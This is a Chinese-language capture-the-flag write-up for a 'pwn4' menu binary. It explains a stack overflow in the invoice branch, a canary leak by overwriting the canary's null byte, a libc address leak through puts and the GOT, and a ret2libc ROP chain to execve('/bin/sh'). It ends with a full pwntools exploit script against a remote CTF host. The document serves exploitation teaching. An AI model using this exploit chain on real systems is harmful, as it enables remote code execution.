pwn-canary

pwn canary

题目描述

  1. 运行pwn4
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    hdd@ubuntu:~/111-oj/blue-whale-oj/pwn4$ ./pwn4
    welcome to buy watermelon system
    you can buy watermelon here
    1. buy a watermelon
    2. get a invoice
    3. exchange money
    4. exit

    ---------------------------------
    2
    input name length
    aaaa
    len: 0aaaa

    1. buy a watermelon
    2. get a invoice
    3. exchange money
    4. exit

    ---------------------------------

题目给出选项,输入相应的数字,即进入相应的分支,分别进行操作。

  1. 查看checksec
1
2
3
4
5
6
7
8
hdd@ubuntu:~/111-oj/blue-whale-oj/pwn4$ checksec pwn4
[*] '/home/hdd/111-oj/blue-whale-oj/pwn4/pwn4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

开启canary保护和NX保护,还有FORTIFY。

题目分析

  1. 主函数源代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
    int *v3; // rbx
    int v4; // eax
    int *v5; // rbx
    __int64 v6; // rdx
    int *v7; // rbx
    unsigned int v8; // ebx
    __int64 v9; // rax
    int *v10; // rbx
    int *v11; // r15
    int v13; // [rsp+0h] [rbp-148h]
    char v14; // [rsp+4h] [rbp-144h]
    char v15; // [rsp+5h] [rbp-143h]
    char v16; // [rsp+100h] [rbp-48h]
    unsigned __int64 v17; // [rsp+108h] [rbp-40h]

    v17 = __readfsqword(0x28u);
    sub_400990();
    puts("welcome to buy watermelon system");
    puts("you can buy watermelon here");
    while ( 1 )
    {
    v3 = &v13;
    puts("1. buy a watermelon");
    puts("2. get a invoice");
    puts("3. exchange money");
    puts("4. exit");
    puts("\n---------------------------------");
    v13 = 0;
    v14 = 0;
    do
    {
    if ( (unsigned int)read(0, v3, 1uLL) != 1 )
    break;
    if ( *(_BYTE *)v3 == 10 )
    break;
    v3 = (int *)((char *)v3 + 1);
    }
    while ( v3 != (int *)&v15 );
    v4 = atoi((const char *)&v13);
    if ( v4 == 4 )
    break;
    switch ( v4 )
    {
    case 2:
    v7 = &v13;
    puts("input name length");
    v13 = 0;
    v14 = 0;
    do
    {
    if ( (unsigned int)read(0, v7, 1uLL) != 1 )
    break;
    if ( *(_BYTE *)v7 == 10 )
    break;
    v7 = (int *)((char *)v7 + 1);
    }
    while ( v7 != (int *)&v15 );
    v8 = atoi((const char *)&v13);
    __printf_chk(1LL, (__int64)"len: %d", v8);
    if ( v8 )
    {
    v9 = v8 - 1;
    v10 = &v13;
    v11 = (int *)((char *)&v13 + v9 + 1);
    do
    {
    if ( (unsigned int)read(0, v10, 1uLL) != 1 )
    break;
    if ( *(_BYTE *)v10 == 10 )
    break;
    v10 = (int *)((char *)v10 + 1);
    }
    while ( v11 != v10 );
    }
    puts((const char *)&v13);
    break;
    case 3:
    puts("not supported");
    break;
    case 1:
    v5 = &v13;
    puts("input a name");
    memset(&v13, 0, 0x100uLL);
    do
    {
    if ( (unsigned int)read(0, v5, 1uLL) != 1 )
    break;
    if ( *(_BYTE *)v5 == 10 )
    break;
    v5 = (int *)((char *)v5 + 1);
    }
    while ( v5 != (int *)&v16 );
    __printf_chk(1LL, (__int64)"your watermelon's name is ", v6);
    puts((const char *)&v13);
    break;
    }
    }
    return 0LL;
    }

纵观整个函数,可疑函数只有read函数,那么就分别看read函数干了什么,可以观察到,read函数都是一次读入一个字节,不同的是读入的地址不一样。然后最后while循环条件不一样。
下面仔细分析各个read函数都是干了什么。

  1. 第一个read,是往v3处读入5个字节,作为下一步的switch输入。
1
2
3
4
5
6
7
8
9
do
{
if ( (unsigned int)read(0, v3, 1uLL) != 1 ) //read函数的三个参数需要了解各自含义,这里的意思是标准输入1个字节到v3处,read函数的返回值是读入的字节数。
break;
if ( *(_BYTE *)v3 == 10 ) //这里的10,用十六进制表示为'0xa',其表示'\n'换行键
break;
v3 = (int *)((char *)v3 + 1); //v3+1,其中v3的起始地址为0x7fffffffdd10
}
while ( v3 != (int *)&v15 ); //这里的v15=0x7fffffffdd15,比较v13和v15,是否满足循环条件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
RBX: 0x7fffffffdd11 --> 0x0 
RCX: 0x7ffff7b04260 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x1
RSI: 0x7fffffffdd10 --> 0x30 ('0')
RDI: 0x0
RBP: 0x7fffffffdd15 --> 0x0
RSP: 0x7fffffffdd10 --> 0x30 ('0')
RIP: 0x4006f1 (cmp rbx,rbp)
R8 : 0x7ffff7fdb700 (0x00007ffff7fdb700)
R9 : 0x7ffff7fdb700 (0x00007ffff7fdb700)
R10: 0x37b
R11: 0x246
R12: 0x7fffffffdd10 --> 0x30 ('0')
R13: 0x7fffffffde10 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4006e8: cmp BYTE PTR [rbx],0xa
0x4006eb: je 0x40070c
0x4006ed: add rbx,0x1
=> 0x4006f1: cmp rbx,rbp

whlie里的判断条件,在gdb调试中,是比较rbx和rbp的值,输入了一个数后,rbx为0x7fffffffdd11,而rbp为0x7fffffffdd15,也就是说,当rbx为0x7fffffffdd15时,就退出循环,不再读入数据。即需要读入5个字节的数到这里的v3,在调试时的0x7fffffffdd10。

  1. 最主要的部分,case2这里。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
v4 = atoi((const char *)&v13); //atoi是把字符串转换成整型数的函数,如果不符合转换条件,则返回0,如果可以转换,则返回转换后的数字。这里要求字符串里边就是数字,即"1234"样式。这里是把输入的数据转换成整数,赋值给v4。
if ( v4 == 4 )
break;
switch ( v4 )
{
case 2:
v7 = &v13;
puts("input name length");
v13 = 0;
v14 = 0;
do
{
if ( (unsigned int)read(0, v7, 1uLL) != 1 ) //读入一个字节到v7
break;
if ( *(_BYTE *)v7 == 10 )
break;
v7 = (int *)((char *)v7 + 1);
}
while ( v7 != (int *)&v15 ); //这里也是循环5次,即需要读入5个字节
v8 = atoi((const char *)&v13); //把读入的数据转换成整数,赋给v8
__printf_chk(1LL, (__int64)"len: %d", v8);
if ( v8 )
{
v9 = v8 - 1;
v10 = &v13;
v11 = (int *)((char *)&v13 + v9 + 1); //v11=v13+v8
do
{
if ( (unsigned int)read(0, v10, 1uLL) != 1 ) //读入一字节到v10,也就是v13
break;
if ( *(_BYTE *)v10 == 10 )
break;
v10 = (int *)((char *)v10 + 1);
}
while ( v11 != v10 ); //这里的v11肯定比v10大,且读到v10所指的buf大小后,还需要读v11-v10个内存大小,所以这里read会产生栈溢出。
}
puts((const char *)&v13);
break;

做题思路

这道题目有canary,第一步就是泄露canary,然后有NX保护,这道题目用ret2libc绕过:泄露在read前运行的函数,然后泄露libc基址,从而得到system地址。

具体步骤

  1. 泄露canary
    已知这题有canary,这个canary就像是cookie,身份认证成功才能进行下一步工作,不成功,则返回错误信息。这里就是在程序会发生栈溢出的尾部且在返回地址之前,插入一个canary值,在函数返回之前,需要与该canary值对比,相等则继续执行程序,不相等则程序流程会走到 __stack_chk_fail。
栈的构造
栈底
args
return addr
old rbp
canary value
buf

这里要想继续执行下边的程序,就得想办法绕过canary保护,即需要泄露canary的值。这里因为canary以字节 \x00 结尾,泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。
这里用sendline命令,会在发送的数据后面追加一个’\n’,也就是0xa,来覆盖0x00,那么后面的字符串就不会被截断了,后面七个字节也就随之泄露出来。

栈构造
rbp
rbp-40 (canary)
rbp-148

如果需要覆盖到canary的最后的字节,那就需要构造148h-40h=108h个+1个字节。

  1. 泄露已运行函数地址,这里泄露printf函数.
    这里用puts函数把printf函数的地址打印出来。
  2. ret2system。
    在返回地址处执行system函数。

这里sendline里边的数目,是根据栈中布局所决定。自行去运行调试。
还有为什么每次执行完都要返回到main函数,是要为要退出这个程序,输入命令4.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
r = remote("campus1.blue-whale.me",9993)
#context.log_level = 'debug'

# leak canary
payload = "a"*0x108
r.sendline("2")
r.recvuntil("input name length\n")
r.sendline("265")
r.sendline(payload)
r.recvuntil("a"*0x108)
canary = u64(r.recv(8))-0xa
print 'canary:'+ hex(canary)

# leak printf_addr
libc = ELF('libc.so.6')
elf = ELF('pwn4')

pop_rdi = 0x40087e
__printf_chk_got = elf.got['__printf_chk']
puts_addr = elf.plt['puts']
main = 0x400650
payload = "a"*0x108 + p64(canary) + "a"*(0x148-0x110)
payload += p64(pop_rdi)+p64(__printf_chk_got)
payload += p64(puts_addr)
payload += p64(main)

r.sendline("2")
r.recvuntil("input name length\n")
r.sendline("361")
r.sendline(payload)

r.sendline("4")
r.recvuntil("4. exit\n")
r.recvuntil("\n---------------------------------\n")
__printf_chk_addr = u64(r.recvuntil("\n",drop=True).ljust(8,'\x00'))
print "__printf_chk_addr:"+hex(__printf_chk_addr)

# get system_addr and binsh_addr
__printf_chk_libc = libc.symbols['__printf_chk']
libcbase = __printf_chk_addr-__printf_chk_libc
binsh_libc = next(libc.search('/bin/sh'))
system_libc= libc.symbols['execve']
binsh_addr = binsh_libc + libcbase
system_addr = system_libc + libcbase

# ret2system:evecve('/bin/sh',0,0)
pop_rdi = 0x40087e
pop_rsi_r15 = 0x40087c
main = 0x400650
payload = "a"*0x108 + p64(canary) + "a"*(0x148-0x110)
payload += p64(pop_rdi)+p64(binsh_addr)
payload += p64(pop_rsi_r15) + p64(0)+p64(0)
payload += p64(system_addr)
payload += p64(main)
# why the return_addr of evecve is main:need to run the program again to exit (4).
r.sendline("2")
r.recvuntil("input name length\n")
r.sendline("380")
r.sendline(payload)

r.sendline("4")
r.recvuntil("4. exit\n")
r.recvuntil("\n---------------------------------\n")
r.interactive()
文章目录
  1. 1. pwn canary
    1. 1.1. 题目描述
  2. 2. 题目分析
    1. 2.1. 做题思路
    2. 2.2. 具体步骤
    3. 2.3. exp